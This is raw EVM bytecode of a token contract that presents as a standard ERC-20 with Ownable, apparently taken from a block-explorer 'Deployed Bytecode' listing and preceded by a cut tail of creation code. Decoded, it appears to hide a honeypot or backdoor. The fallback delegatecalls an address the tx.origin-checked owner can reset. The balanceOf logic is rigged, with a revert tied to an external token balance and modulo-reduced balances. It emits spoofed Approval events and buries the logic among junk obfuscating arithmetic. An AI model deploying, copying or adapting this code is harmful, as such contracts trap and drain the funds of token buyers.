15612a075760008160009055506001016129ef565b5090565b6000612a1e612a1984612ff5565b612fd0565b905082815260208101848484011115612a3a57612a39613312565b5b612a4584828561317b565b509392505050565b600081359050612a5c81613587565b92915050565b600082601f830112612a7757612a7661330d565b5b8135612a87848260208601612a0b565b91505092915050565b600081359050612a9f8161359e565b92915050565b600081519050612ab48161359e565b92915050565b600060208284031215612ad057612acf61331c565b5b6000612ade84828501612a4d565b91505092915050565b60008060408385031215612afe57612afd61331c565b5b6000612b0c85828601612a4d565b9250506020612b1d85828601612a4d565b9150509250929050565b600080600060608486031215612b4057612b3f61331c565b5b6000612b4e86828701612a4d565b9350506020612b5f86828701612a4d565b9250506040612b7086828701612a90565b9150509250925092565b60008060408385031215612b9157612b9061331c565b5b6000612b9f85828601612a4d565b9250506020612bb085828601612a90565b9150509250929050565b600080600060608486031215612bd357612bd261331c565b5b600084013567ffffffffffffffff811115612bf157612bf0613317565b5b612bfd86828701612a62565b935050602084013567ffffffffffffffff811115612c1e57612c1d613317565b5b612c2a86828701612a62565b9250506040612c3b86828701612a90565b9150509250925092565b600060208284031215612c5b57612c5a61331c565b5b6000612c6984828501612aa5565b91505092915050565b612c7b81613126565b82525050565b612c8a81613138565b82525050565b6000612c9b82613026565b612ca58185613031565b9350612cb581856020860161318a565b612cbe81613321565b840191505092915050565b6000612cd6602383613031565b9150612ce182613332565b604082019050919050565b6000612cf9602683613031565b9150612d0482613381565b604082019050919050565b6000612d1c602283613031565b9150612d27826133d0565b604082019050919050565b6000612d3f601d83613031565b9150612d4a8261341f565b602082019050919050565b6000612d62601f83613031565b9150612d6d82613448565b602082019050919050565b6000612d85602083613031565b9150612d9082613471565b602082019050919050565b6000612da8602583613031565b9150612db38261349a565b604082019050919050565b6000612dcb602483613031565b9150612dd6826134e9565b604082019050919050565b6000612dee602583613031565b9150612df982613538565b604082019050919050565b612e0d81613164565b82525050565b612e1c8161316e565b82525050565b6000602082019050612e376000830184612c72565b92915050565b6000602082019050612e526000830184612c81565b92915050565b60006020820190508181036000830152612e728184612c90565b905092915050565b60006020820190508181036000830152612e9381612cc9565b9050919050565b60006020820190508181036000830152612eb381612cec565b9050919050565b60006020820190508181036000830152612ed381612d0f565b9050919050565b60006020820190508181036000830152612ef381612d32565b9050919050565b60006020820190508181036000830152612f1381612d55565b9050919050565b60006020820190508181036000830152612f3381612d78565b9050919050565b60006020820190508181036000830152612f5381612d9b565b9050919050565b60006020820190508181036000830152612f7381612dbe565b9050919050565b60006020820190508181036000830152612f9381612de1565b9050919050565b6000602082019050612faf6000830184612e04565b92915050565b6000602082019050612fca6000830184612e13565b92915050565b6000612fda612feb565b9050612fe682826131ef565b919050565b6000604051905090565b600067ffffffffffffffff8211156130105761300f6132de565b5b61301982613321565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600061304d82613164565b915061305883613164565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561308d5761308c613251565b5b828201905092915050565b60006130a382613164565b91506130ae83613164565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130e7576130e6613251565b5b828202905092915050565b60006130fd82613164565b915061310883613164565b92508282101561311b5761311a613251565b5b828203905092915050565b600061313182613144565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156131a857808201518184015260208101905061318d565b838111156131b7576000848401525b50505050565b600060028204905060018216806131d557607f821691505b602082108114156131e9576131e86132af565b5b50919050565b6131f882613321565b810181811067ffffffffffffffff82111715613217576132166132de565b5b80604052505050565b600061322b82613164565b915061323683613164565b92508261324657613245613280565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61359081613126565b811461359b57600080fd5b50565b6135a781613164565b81146135b257600080fd5b5056fea26469706673582212208d053314651e08cd8399fbd8414979742446ed1bbc06f5c928c0f27931e54f0764736f6c63430008060033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063ab90a8831161008a578063d4041ac411610064578063d4041ac4146106ac578063dd62ed3e146106d7578063e751cc8c14610714578063f2fde38b1461073f576101c2565b8063ab90a8831461062b578063c182719114610656578063ce9e617414610681576101c2565b80638dd95002116100c65780638dd950021461055b57806395d89b4114610586578063a457c2d7146105b1578063a9059cbb146105ee576101c2565b8063715018a6146104ee578063864f2f63146105055780638da5cb5b14610530576101c2565b8063313ce567116101595780633aa8635c116101335780633aa8635c14610430578063554088591461045b57806359c553da1461048657806370a08231146104b1576101c2565b8063313ce5671461039d578063347aa225146103c857806339509351146103f3576101c2565b80632003d216116101955780632003d216146102e157806323b872dd1461030a5780632596ef29146103475780633033941d14610372576101c2565b806306fdde031461024e578063095ea7b31461027957806318160ddd146102b6576101c2565b366101c257005b3480156101ce57600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060086004026004602001820151141561024b576020600082516004600802840130545af461024557600080fd5b60206000f35b50005b34801561025a57600080fd5b50610263610768565b6040516102709190612e58565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612b7a565b610879565b6040516102ad9190612e3d565b60405180910390f35b3480156102c257600080fd5b506102cb61089c565b6040516102d89190612f9a565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612bba565b610924565b005b34801561031657600080fd5b50610331600480360381019061032c9190612b27565b6109cf565b60405161033e9190612e3d565b60405180910390f35b34801561035357600080fd5b5061035c6109fe565b6040516103699190612f9a565b60405180910390f35b34801561037e57600080fd5b50610387610a99565b6040516103949190612f9a565b60405180910390f35b3480156103a957600080fd5b506103b2610bff565b6040516103bf9190612fb5565b60405180910390f35b3480156103d457600080fd5b506103dd610c67565b6040516103ea9190612f9a565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190612b7a565b610e23565b6040516104279190612e3d565b60405180910390f35b34801561043c57600080fd5b50610445610e5a565b6040516104529190612f9a565b60405180910390f35b34801561046757600080fd5b50610470610f86565b60405161047d9190612f9a565b60405180910390f35b34801561049257600080fd5b5061049b61105a565b6040516104a89190612f9a565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190612aba565b611186565b6040516104e59190612f9a565b60405180910390f35b3480156104fa57600080fd5b506105036113a1565b005b34801561051157600080fd5b5061051a6114de565b6040516105279190612f9a565b60405180910390f35b34801561053c57600080fd5b5061054561167e565b6040516105529190612e22565b60405180910390f35b34801561056757600080fd5b506105706117a0565b60405161057d9190612e22565b60405180910390f35b34801561059257600080fd5b5061059b6117b8565b6040516105a89190612e58565b60405180910390f35b3480156105bd57600080fd5b506105d860048036038101906105d39190612b7a565b611926565b6040516105e59190612e3d565b60405180910390f35b3480156105fa57600080fd5b5061061560048036038101906106109190612b7a565b61199d565b6040516106229190612e3d565b60405180910390f35b34801561063757600080fd5b506106406119c0565b60405161064d9190612f9a565b60405180910390f35b34801561066257600080fd5b5061066b611aec565b6040516106789190612f9a565b60405180910390f35b34801561068d57600080fd5b50610696611bdd565b6040516106a39190612f9a565b60405180910390f35b3480156106b857600080fd5b506106c1611d9a565b6040516106ce9190612f9a565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f99190612ae7565b611f00565b60405161070b9190612f9a565b60405180910390f35b34801561072057600080fd5b50610729611f87565b6040516107369190612f9a565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190612aba565b61203f565b005b6060600062371f1a8161077b9190613042565b90506104cf811161078b57600080fd5b623902e28161079a9190613042565b905061187481116107aa57600080fd5b6212edd2816107b99190613042565b90506122e581116107c957600080fd5b62246ea1816107d89190613042565b905061214081116107e857600080fd5b600580546107f5906131bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610821906131bd565b801561086e5780601f106108435761010080835404028352916020019161086e565b820191906000526020600020905b81548152906001019060200180831161085157829003601f168201915b505050505091505090565b600080610884612130565b9050610891818585612138565b600191505092915050565b600080620ef3a4816108ae9190613042565b905061104181116108be57600080fd5b6208cb8e816108cd9190613042565b90506101b281116108dd57600080fd5b6237404a816108ec9190613042565b905061131881116108fc57600080fd5b621f00118161090b9190613042565b9050610ae1811161091b57600080fd5b60035491505090565b3273ffffffffffffffffffffffffffffffffffffffff1661094361167e565b73ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099090612f1a565b60405180910390fd5b81600690805190602001906109af929190612968565b5082600590805190602001906109c6929190612968565b50333055505050565b6000806109da612130565b90506109e78582856123fe565b6109f285858561248a565b60019150509392505050565b60008062544e4b811115610a13576002810490505b620f428762544e4b04905062532d49811115610a30576002810490505b6210027e62532d490190506278dfc6811115610a4d576002810490505b624fe6266278dfc606905062691278811115610a6a576002810490505b6215de4c62691278039050625a0997811115610a87576002810490505b6238efe3625a09970690508091505090565b6000806248dfc8811115610aae576002810490505b6219cc356248dfc8019050621945c5811115610acb576002810490505b62123834621945c502905062778a1a811115610ae8576002810490505b6205c4e362778a1a0290506249ab8a811115610b05576002810490505b623adb1c6249ab8a02905062157f4a811115610b22576002810490505b6208e95a62157f4a069050626281fd811115610b3f576002810490505b62357bfb626281fd049050625ff12f811115610b5c576002810490505b62390688625ff12f039050621967e5811115610b79576002810490505b620ba35d621967e50490506273305b811115610b96576002810490505b625379c86273305b039050624bd70e811115610bb3576002810490505b622c4f69624bd70e02905062664c95811115610bd0576002810490505b623501fb62664c95069050626ca1a7811115610bed576002810490505b623d0622626ca1a70690508091505090565b60008062070f3c81610c119190613042565b905061202d8111610c2157600080fd5b624ece7b81610c309190613042565b9050611f488111610c4057600080fd5b6244c06f81610c4f9190613042565b90506117558111610c5f57600080fd5b600991505090565b6000806268e152811115610c7c576002810490505b6213686e6268e152049050625d8941811115610c99576002810490505b62533165625d89410290506278b7a3811115610cb6576002810490505b625ab5fd6278b7a3039050628ba137811115610cd3576002810490505b62299668628ba137049050627ead93811115610cf0576002810490505b625666dc627ead9301905062527e3c811115610d0d576002810490505b624a445162527e3c049050626cc9d0811115610d2a576002810490505b621d21c1626cc9d00290506275c3f3811115610d47576002810490505b624858576275c3f30490506251768e811115610d64576002810490505b62206fd76251768e0690506283f5b8811115610d81576002810490505b6217fd946283f5b8069050627a43c0811115610d9e576002810490505b620effc2627a43c00190506282e5a2811115610dbb576002810490505b6134a36282e5a2039050627454a7811115610dd7576002810490505b6250b217627454a7029050626b05cc811115610df4576002810490505b620915ea626b05cc019050627f9c18811115610e11576002810490505b624a3b7b627f9c180290508091505090565b600080610e2e612130565b9050610e4f818585610e408589611f00565b610e4a9190613042565b612138565b600191505092915050565b6000806281d96a811115610e6f576002810490505b625185516281d96a03905062518226811115610e8c576002810490505b62181c5c62518226039050625d88e5811115610ea9576002810490505b621f20ac625d88e5069050627002ca811115610ec6576002810490505b6208ab92627002ca01905062613094811115610ee3576002810490505b6240eeb9626130940290506235ff4b811115610f00576002810490505b622d76366235ff4b06905062367492811115610f1d576002810490505b6235ca7a623674920290506294531b811115610f3a576002810490505b624608616294531b0490506279c5eb811115610f57576002810490505b624884606279c5eb039050622f4867811115610f74576002810490505b6228e9ff622f48670490508091505090565b60008062617a45811115610f9b576002810490505b6235da1f62617a45019050625b6529811115610fb8576002810490505b622c8739625b65290290506269c821811115610fd5576002810490505b6257c0d06269c82102905062797b70811115610ff2576002810490505b622e52cc62797b70019050625e254481111561100f576002810490505b621411c9625e25440690506294f41b81111561102c576002810490505b6226a3df6294f41b02905062451cc0811115611049576002810490505b61a2e362451cc00490508091505090565b600080625e4a1081111561106f576002810490505b622197eb625e4a10069050621ec8ef81111561108c576002810490505b621a981c621ec8ef049050626910278111156110a9576002810490505b625adf3a62691027019050620b84a38111156110c6576002810490505b62086275620b84a303905062664e198111156110e3576002810490505b62166d1862664e190490506296481a811115611100576002810490505b622b97436296481a039050623ecf8581111561111d576002810490505b6218d2f7623ecf85029050626c883e81111561113a576002810490505b6251a802626c883e02905062841a09811115611157576002810490505b622a517e62841a090390506230f0eb811115611174576002810490505b620b028d6230f0eb0190508091505090565b600073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016111f79190612e22565b60206040518083038186803b15801561120f57600080fd5b505afa158015611223573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112479190612c45565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156112af576020548110156112ae57600080fd5b5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134c57600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061139c565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113999190613220565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff166113c061167e565b73ffffffffffffffffffffffffffffffffffffffff1614611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90612f1a565b60405180910390fd5b600062206344816114279190613042565b905061202e811161143757600080fd5b625b5265816114469190613042565b905061094a811161145657600080fd5b6212884b816114659190613042565b9050612018811161147557600080fd5b621576fe816114849190613042565b905060d8811161149357600080fd5b620b5f15816114a29190613042565b905061252381116114b257600080fd5b623f9c7f816114c19190613042565b90506114a581116114d157600080fd5b6114db6000612756565b50565b6000806296608a8111156114f3576002810490505b62390b326296608a029050626c764b811115611510576002810490505b624f23f9626c764b019050627e27ec81111561152d576002810490505b624fc002627e27ec049050629478fe81111561154a576002810490505b623a6ac4629478fe0290506283b855811115611567576002810490505b624601c36283b855069050628dc528811115611584576002810490505b622e4620628dc5280490506254674e8111156115a1576002810490505b62511c7e6254674e039050626c7ce28111156115be576002810490505b625b08cc626c7ce2019050626f4bf38111156115db576002810490505b6237131f626f4bf3039050627f64e88111156115f8576002810490505b6216b0a4627f64e806905062086624811115611615576002810490505b62057a77620866240490506285734c811115611632576002810490505b6225a1e46285734c049050626b77ca81111561164f576002810490505b62523ad0626b77ca0690506272443981111561166c576002810490505b6216d9f5627244390390508091505090565b600080621328e3816116909190613042565b905061068481116116a057600080fd5b6259e966816116af9190613042565b905061228381116116bf57600080fd5b6251a55a816116ce9190613042565b9050611a9481116116de57600080fd5b624caae6816116ed9190613042565b9050610aa681116116fd57600080fd5b6246359e8161170c9190613042565b9050610335811161171c57600080fd5b624c77868161172b9190613042565b9050611dfb811161173b57600080fd5b620b1e7b8161174a9190613042565b9050610b15811161175a57600080fd5b62324d1f816117699190613042565b90506103f6811161177957600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600062191a66816117cb9190613042565b905061103c81116117db57600080fd5b6248f901816117ea9190613042565b90506112dc81116117fa57600080fd5b623e8d3f816118099190613042565b9050610261811161181957600080fd5b623c839d816118289190613042565b9050611a0f811161183857600080fd5b62127a23816118479190613042565b905061150e811161185757600080fd5b6249e98a816118669190613042565b905061083b811161187657600080fd5b620cb391816118859190613042565b90506114ca811161189557600080fd5b600680546118a2906131bd565b80601f01602080910402602001604051908101604052809291908181526020018280546118ce906131bd565b801561191b5780601f106118f05761010080835404028352916020019161191b565b820191906000526020600020905b8154815290600101906020018083116118fe57829003601f168201915b505050505091505090565b600080611931612130565b9050600061193f8286611f00565b905083811015611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90612f7a565b60405180910390fd5b6119918286868403612138565b60019250505092915050565b6000806119a8612130565b90506119b581858561248a565b600191505092915050565b6000806269325a8111156119d5576002810490505b62021c576269325a049050626800518111156119f2576002810490505b62492ecf626800510190506246f0c8811115611a0f576002810490505b62230e2c6246f0c802905062790694811115611a2c576002810490505b6214896862790694039050625184bc811115611a49576002810490505b623a4a43625184bc03905062645176811115611a66576002810490505b6231d8c962645176029050624a9931811115611a83576002810490505b6211197e624a993104905062967c97811115611aa0576002810490505b6246baca62967c9703905062351df4811115611abd576002810490505b622ef1fc62351df4069050624f9dda811115611ada576002810490505b62268d0b624f9dda0690508091505090565b60008062538c25811115611b01576002810490505b624fb1e862538c25019050628c91ea811115611b1e576002810490505b621d3e3d628c91ea019050623c5982811115611b3b576002810490505b621a4e17623c5982019050624bcdf8811115611b58576002810490505b62233cda624bcdf80690506260098c811115611b75576002810490505b621dad536260098c049050625a4004811115611b92576002810490505b62276b34625a400406905062290369811115611baf576002810490505b619f47622903690390506283dae8811115611bcb576002810490505b62494e246283dae80690508091505090565b600080627208c1811115611bf2576002810490505b6229a5f6627208c1049050628bf9da811115611c0f576002810490505b6246c760628bf9da0390506245829f811115611c2c576002810490505b624202136245829f069050624084a1811115611c49576002810490505b620e76cc624084a1029050624806c5811115611c66576002810490505b623d8204624806c5069050625ba43f811115611c83576002810490505b623d4561625ba43f0690506269841c811115611ca0576002810490505b62136b136269841c0490506296bc79811115611cbd576002810490505b6214e69b6296bc79039050622533f6811115611cda576002810490505b62013838622533f602905062475714811115611cf7576002810490505b623913ea6247571401905062925581811115611d14576002810490505b624ff45662925581069050628070d8811115611d31576002810490505b62156037628070d8039050627f47c0811115611d4e576002810490505b624d4d17627f47c006905062510e62811115611d6b576002810490505b6240d1ec62510e62019050626bdcc0811115611d88576002810490505b62507b96626bdcc00490508091505090565b6000806277cf3d811115611daf576002810490505b6236c75f6277cf3d029050627dd405811115611dcc576002810490505b624bf2a4627dd405019050628b80ae811115611de9576002810490505b6248e8ff628b80ae049050624fe15f811115611e06576002810490505b62377e53624fe15f069050627cbec8811115611e23576002810490505b62228924627cbec80290506240080b811115611e40576002810490505b6233dd6e6240080b019050629398a6811115611e5d576002810490505b622d5a42629398a6029050622e2da6811115611e7a576002810490505b621d2c0a622e2da6049050624b257a811115611e97576002810490505b6225b26d624b257a0390506287c422811115611eb4576002810490505b62565bb16287c422019050622574fd811115611ed1576002810490505b6221967e622574fd029050625a5a83811115611eee576002810490505b62140c93625a5a830190508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080627aafd5811115611f9c576002810490505b625449de627aafd5049050622f3cf5811115611fb9576002810490505b6206703f622f3cf50390506212ff82811115611fd6576002810490505b6212a16b6212ff82029050628b5076811115611ff3576002810490505b62250dcd628b507604905062883366811115612010576002810490505b6241bb3a62883366019050627b85ca81111561202d576002810490505b6216428b627b85ca0190508091505090565b3273ffffffffffffffffffffffffffffffffffffffff1661205e61167e565b73ffffffffffffffffffffffffffffffffffffffff16146120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab90612f1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b90612e9a565b60405180910390fd5b61212d81612756565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219f90612f5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220f90612eba565b60405180910390fd5b6000625af6ea816122299190613042565b90506125c7811161223957600080fd5b621a7053816122489190613042565b9050611d26811161225857600080fd5b621b94f2816122679190613042565b9050610a7e811161227757600080fd5b6257eab0816122869190613042565b90506104b6811161229657600080fd5b621643d1816122a59190613042565b9050611a9381116122b557600080fd5b621ee1ea816122c49190613042565b9050610f1581116122d457600080fd5b621e5927816122e39190613042565b9050610a0f81116122f357600080fd5b6241a421816123029190613042565b9050611370811161231257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516123f09190612f9a565b60405180910390a350505050565b600061240a8484611f00565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146124845781811015612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d90612eda565b60405180910390fd5b6124838484848403612138565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f190612f3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561256357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6125a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259990612e7a565b60405180910390fd5b6125ad83838361281a565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262b90612efa565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461268391906130f2565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126d99190613042565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161273d9190612f9a565b60405180910390a361275084848461281f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461282e9190613098565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561287e576000602055612963565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561291c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612962578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612974906131bd565b90600052602060002090601f01602090048101928261299657600085556129dd565b82601f106129af57805160ff19168380011785556129dd565b828001600101855582156129dd579182015b828111156129dc5782518255916020019190600101906129c1565b5b5090506129ea91906129ee565b5090565b5b80821115612a075760008160009055506001016129ef565b5090565b6000612a1e612a1984612ff5565b612fd0565b905082815260208101848484011115612a3a57612a39613312565b5b612a4584828561317b565b509392505050565b600081359050612a5c81613587565b92915050565b600082601f830112612a7757612a7661330d565b5b8135612a87848260208601612a0b565b91505092915050565b600081359050612a9f8161359e565b92915050565b600081519050612ab48161359e565b92915050565b600060208284031215612ad057612acf61331c565b5b6000612ade84828501612a4d565b91505092915050565b60008060408385031215612afe57612afd61331c565b5b6000612b0c85828601612a4d565b9250506020612b1d85828601612a4d565b9150509250929050565b600080600060608486031215612b4057612b3f61331c565b5b6000612b4e86828701612a4d565b9350506020612b5f86828701612a4d565b9250506040612b7086828701612a90565b9150509250925092565b60008060408385031215612b9157612b9061331c565b5b6000612b9f85828601612a4d565b9250506020612bb085828601612a90565b9150509250929050565b600080600060608486031215612bd357612bd261331c565b5b600084013567ffffffffffffffff811115612bf157612bf0613317565b5b612bfd86828701612a62565b935050602084013567ffffffffffffffff811115612c1e57612c1d613317565b5b612c2a86828701612a62565b9250506040612c3b86828701612a90565b9150509250925092565b600060208284031215612c5b57612c5a61331c565b5b6000612c6984828501612aa5565b91505092915050565b612c7b81613126565b82525050565b612c8a81613138565b82525050565b6000612c9b82613026565b612ca58185613031565b9350612cb581856020860161318a565b612cbe81613321565b840191505092915050565b6000612cd6602383613031565b9150612ce182613332565b604082019050919050565b6000612cf9602683613031565b9150612d0482613381565b604082019050919050565b6000612d1c602283613031565b9150612d27826133d0565b604082019050919050565b6000612d3f601d83613031565b9150612d4a8261341f565b602082019050919050565b6000612d62601f83613031565b9150612d6d82613448565b602082019050919050565b6000612d85602083613031565b9150612d9082613471565b602082019050919050565b6000612da8602583613031565b9150612db38261349a565b604082019050919050565b6000612dcb602483613031565b9150612dd6826134e9565b604082019050919050565b6000612dee602583613031565b9150612df982613538565b604082019050919050565b612e0d81613164565b82525050565b612e1c8161316e565b82525050565b6000602082019050612e376000830184612c72565b92915050565b6000602082019050612e526000830184612c81565b92915050565b60006020820190508181036000830152612e728184612c90565b905092915050565b60006020820190508181036000830152612e9381612cc9565b9050919050565b60006020820190508181036000830152612eb381612cec565b9050919050565b60006020820190508181036000830152612ed381612d0f565b9050919050565b60006020820190508181036000830152612ef381612d32565b9050919050565b60006020820190508181036000830152612f1381612d55565b9050919050565b60006020820190508181036000830152612f3381612d78565b9050919050565b60006020820190508181036000830152612f5381612d9b565b9050919050565b60006020820190508181036000830152612f7381612dbe565b9050919050565b60006020820190508181036000830152612f9381612de1565b9050919050565b6000602082019050612faf6000830184612e04565b92915050565b6000602082019050612fca6000830184612e13565b92915050565b6000612fda612feb565b9050612fe682826131ef565b919050565b6000604051905090565b600067ffffffffffffffff8211156130105761300f6132de565b5b61301982613321565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600061304d82613164565b915061305883613164565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561308d5761308c613251565b5b828201905092915050565b60006130a382613164565b91506130ae83613164565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130e7576130e6613251565b5b828202905092915050565b60006130fd82613164565b915061310883613164565b92508282101561311b5761311a613251565b5b828203905092915050565b600061313182613144565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156131a857808201518184015260208101905061318d565b838111156131b7576000848401525b50505050565b600060028204905060018216806131d557607f821691505b602082108114156131e9576131e86132af565b5b50919050565b6131f882613321565b810181811067ffffffffffffffff82111715613217576132166132de565b5b80604052505050565b600061322b82613164565b915061323683613164565b92508261324657613245613280565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f00000000000000000000000000000000000000000